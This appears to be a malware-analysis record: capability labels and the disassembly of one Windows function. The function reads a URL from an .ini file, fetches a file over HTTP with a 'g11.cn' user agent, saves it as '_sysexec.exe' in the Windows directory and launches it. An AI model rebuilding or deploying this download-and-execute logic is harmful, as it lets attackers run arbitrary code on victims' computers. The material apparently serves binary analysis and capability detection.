Function at 0x10001d30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create raw socket
Create tcp socket
Create udp socket
Download and write a file
Get common file path
Initialize winsock library
Read .ini file
Read and send data from client to server
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x14b4
call fcn.10005c30
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x129]
mov byte [esp + 0x128], 0
rep stosd dword es:[edi], eax
mov byte [esp + 0x18], al
mov ebx, dword [esp + 0x14c8]
mov dword [esp + 0x19], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [esp + 0x1d], eax
push ebx
mov dword [esp + 0x25], eax
mov dword [esp + 0x29], eax
mov word [esp + 0x2d], ax
push eax
push str.exec_ver
push str.exec
mov byte [esp + 0x3b], al
call edi
mov ecx, dword [esp + 0x14cc]
mov esi, eax
push ecx
push 0
push str.exec_ver
push str.exec
call edi
test esi, esi
je 0x1000234f
cmp esi, eax
je 0x1000234f
lea edx, [esp + 0x18]
push 0xa
push edx
push esi
call fcn.1000bcab
add esp, 0xc
lea eax, [esp + 0x128]
push ebx
push 0x100
push eax
push 0x100121e0
push str.exec_url
push str.exec
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [esp + 0x128]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1000234f
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x22d]
lea edx, [esp + 0x22c]
mov byte [esp + 0x22c], 0
push 0x104
rep stosd dword es:[edi], eax
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000234f
lea eax, [esp + 0x22c]
push str._sysexec.exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
call fcn.10001d20
add esp, 4
test eax, eax
je 0x10001e79
push 2
call fcn.10001d20
add esp, 4
test eax, eax
je 0x10001e79
push 3
call fcn.10001d20
add esp, 4
test eax, eax
je 0x10001e79
push 1
call fcn.10001d20
add esp, 4
lea ecx, [esp + 0xb34]
push ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0xa9]
mov byte [esp + 0xa8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [esp + 0x128]
lea ecx, [esp + 0xa8]
cmp al, 0x2f
lea ebp, [esp + 0x129]
je 0x10001ec9
mov dl, byte [ebp]
inc ebp
cmp dl, 0x2f
jne 0x10001ec0
cmp byte [ebp], 0x2f
jne 0x1000234f
mov al, byte [ebp + 1]
inc ebp
cmp al, 0x2f
je 0x10001ee6
mov byte [ecx], al
mov al, byte [ebp + 1]
inc ecx
inc ebp
cmp al, 0x2f
jne 0x10001edb
xor eax, eax
lea ecx, [esp + 0xa8]
mov dword [esp + 0x2d], eax
push ecx
mov dword [esp + 0x35], eax
mov byte [esp + 0x30], 0
mov dword [esp + 0x39], eax
mov dword [esp + 0x3d], eax
mov word [esp + 0x41], ax
mov byte [esp + 0x43], al
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10001f94
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x2c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 2
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WS2_32.dll_socket]
push 0x50
mov ebx, eax
mov word [esp + 0x44], 2
call dword [sym.imp.WS2_32.dll_htons]
lea ecx, [esp + 0x2c]
mov word [esp + 0x42], ax
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
lea edx, [esp + 0x40]
push 0x10
push edx
push ebx
mov dword [esp + 0x50], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001fa7
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14b4
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x335]
mov byte [esp + 0x334], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
or ecx, 0xffffffff
mov edi, str.GET
xor eax, eax
lea edx, [esp + 0x334]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x334]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, ebp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x334]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._HTTP_1.1_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x334]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Accept:___r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x334]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.Host:
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x334]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [esp + 0xa8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x334]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1000f0c8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x334]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.User_Agent:_g11.cn_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x334]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Connection:Keep_Alive_r_n_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x338]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x338]
push ecx
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x735]
mov byte [esp + 0x734], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [esp + 0x13], 0
xor esi, esi
cmp esi, 0x400
jge 0x100021fd
push 0
lea ecx, [esp + 0x17]
push 1
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov dl, byte [esp + 0x13]
mov byte [esp + esi + 0x734], dl
inc esi
cmp esi, 4
jl 0x100021ac
cmp byte [esp + esi + 0x730], 0xd
jne 0x100021ac
cmp byte [esp + esi + 0x731], 0xa
jne 0x100021ac
cmp byte [esp + esi + 0x732], 0xd
jne 0x100021ac
cmp byte [esp + esi + 0x733], 0xa
jne 0x100021ac
push 0x1000f0c8
lea eax, [esp + 0x738]
push str.Content_Length
push eax
call fcn.10005bb0
add esp, 8
add eax, 0xf
push eax
call fcn.10005bb0
lea ecx, [esp + 0x73c]
push str.Content_Length
push ecx
mov word [eax], 0
xor esi, esi
call fcn.10005bb0
add eax, 0xf
push eax
call fcn.10005b0e
add esp, 0x14
lea edx, [esp + 0x22c]
mov ebp, eax
push esi
push 0x20
push 2
push esi
push 1
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x14], eax
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0xcc5]
mov byte [esp + 0xcc4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
test ebp, ebp
stosb byte es:[edi], al
jle 0x100022d1
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [esp + 0xcc8]
push 0x400
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x100022d1
cmp eax, 0xffffffff
je 0x100022d1
lea edx, [esp + 0x50]
lea ecx, [esp + eax + 0xcc4]
push 0
push edx
add esi, eax
push eax
mov byte [ecx], 0
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0xcd0]
push eax
push ecx
call edi
cmp esi, ebp
jl 0x1000228b
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14cc]
lea ecx, [esp + 0x18]
push eax
push ecx
push str.exec_ver
push str.exec
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x68]
lea edx, [esp + 0x54]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x64]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x248]
push 0
push ecx
push 0
mov dword [esp + 0x8c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14b4
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14b4
ret